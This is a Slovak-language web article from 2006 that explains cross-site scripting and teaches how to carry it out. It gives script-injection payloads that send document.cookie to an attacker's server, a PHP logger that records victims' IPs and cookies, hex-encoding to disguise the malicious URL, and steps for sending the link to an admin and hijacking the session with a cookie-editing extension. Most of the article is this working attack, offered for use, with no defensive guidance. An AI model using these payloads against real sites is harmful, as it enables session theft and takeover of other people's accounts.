Zpět na seznam článků     Číst komentáře (20)     Verze pro tisk

XSS Útok

Autor: Anti   
6.11.2006

V poslednom čase sa rôzne webové aplikácie stavajú obeťou XSS útoku. Čo to vlastne je a ako ho uskutočniť sa dozviete v tomto článku.


Cross-site scripting (XSS alebo CSS) využíva slabé miesto vo webovej aplikácii vďaka ktorému je do nej možne vložiť (škodlivý) kód.

Prestavte si, webovú aplikáciu s vyhľadávaním. Ak klikneme na tlačidlo „HĽADAJ“ aplikácia odošle serveru požiadavku:
/hladat.php?najdi=text_ktory_hladame
a ten odpovie stránkou na ktorej sa nachádza:
„text_ktory_hladame“.

Čo sa ale stane ak do polička hľadať vložíme nejaký kód ?

Vstup môže vyzerať nejako takto:
/hladat.php?najdi=<script>alert(123);</script>
Server odpovie stránkou na ktorej bude:
„<script>alert(123);</script>“
a vyskočí javascriptove okno alert.

Ako sa to dá využiť ?

Útočník môže URL upraviť takto:
/hladat.php?najdi=<script src="https://www.utocnikovweb.sk /xss.js"> </script>
a týmto spôsobom môže vykonať akýkoľvek javascript. Môže napríklad ukradnúť tzv. „account hijacking“ vďaka ktorej sa útočník môže nalogovať do účtu obeti.

Ako sa dostane script k obeti ?

Script v URL sa dá rôznymi spôsobmi maskovať.
1. Prevedením scriptu do šestnástkovej sústavy. URL potom môže vyzerať takto
http://www.stranka.sk/hladat.php?najdi= %3C%73%63%72%69%70%74%20%73%72%63%3D%5C%22%68%74 %74%70%73%3A%2F%2F%77%77%77%2E%75%74%6F%63%6E%69 %6B%6F%76%77%65%62%2E%73%6B%20%2F%78%73%73%2E%6A %73%5C%22%3E%3C%2F%73%63%72%69%70%74%3E

2. Upravením URL nasledovne:
<img src="adresar/obrazok.jpg"style= background:url(javascript:alert(123))>

Ďalším typom útoku môže byť špeciálne upravená URL, ktorá môže vyzerať nasledovne
<a href="http://www.stranka.sk/hladat.php?najdi=< script> document.location.replace(' http://utocnikov web.sk/xss.php?cookie='+docum ent.cookie);</script>"<Ako hacknut icq a email</a>

XSS PRAKTICKY

Nájdeme si web na ktorom je možne previesť tento útok. http://www.anypage.com/contact.php?&name=1&email=1&enquiry= <script>alert('xss');</script>
Na našom serveri si vytvoríme súbor xss.php

<?php
$f = fopen("data.txt", "a");
fwrite($f,"IP:{$_SERVER['REMOTE_ADDR']}
Ref:{$_SERVER['HTTP_REFERER']}
Cookie:{$HTTP_GET_VARS['c']}\n");
fclose($f);
?>


Upravíme URL
http://www.anypage.com/contact.php?&name=1&email=1&enquiry= <script>document.location=‘http://www.nasserver.sk/xss.php ?c=‘+document.cookie</scriptgt;
Script prevedieme do hexadecimálnej sústavy
www.anypage.com/contact.php?&name=1&email=1&enquiry= %3C%73%63%72%69%70%74%3E%20%64%6F%63%75%6D%65%6E%74%2E %6C%6F%63%61%74%69%6F%6E%3D%20%E2%80%98%68%74%74%70%3A %2F%2F%77%77%77%2E%6E%61%73%73%65%72%76%65%72%2E%73%6B %2F%78%73%73%2E%70%68%70%3F%63%3D%E2%80%98%2B%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69 %70%74%3E
Nami upravený link pošleme adminovi a počkáme si kým sa na nasej stránke http://nasserver.sk/data.txt zobrazí „cookie hijacking“ človeka, ktorému sme poslali náš link. Po získanie cookie, ktorá môže vyzerat takto 747d42f41702345ded793d16d2169ef3 je treba získane informácie použiť. Na použitie nám poslúži rozšírenie pre Firefox, ktoré sa volá „Add N Edit Cookies“.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1/2

1  2  3  4  5    
(známkování jako ve škole)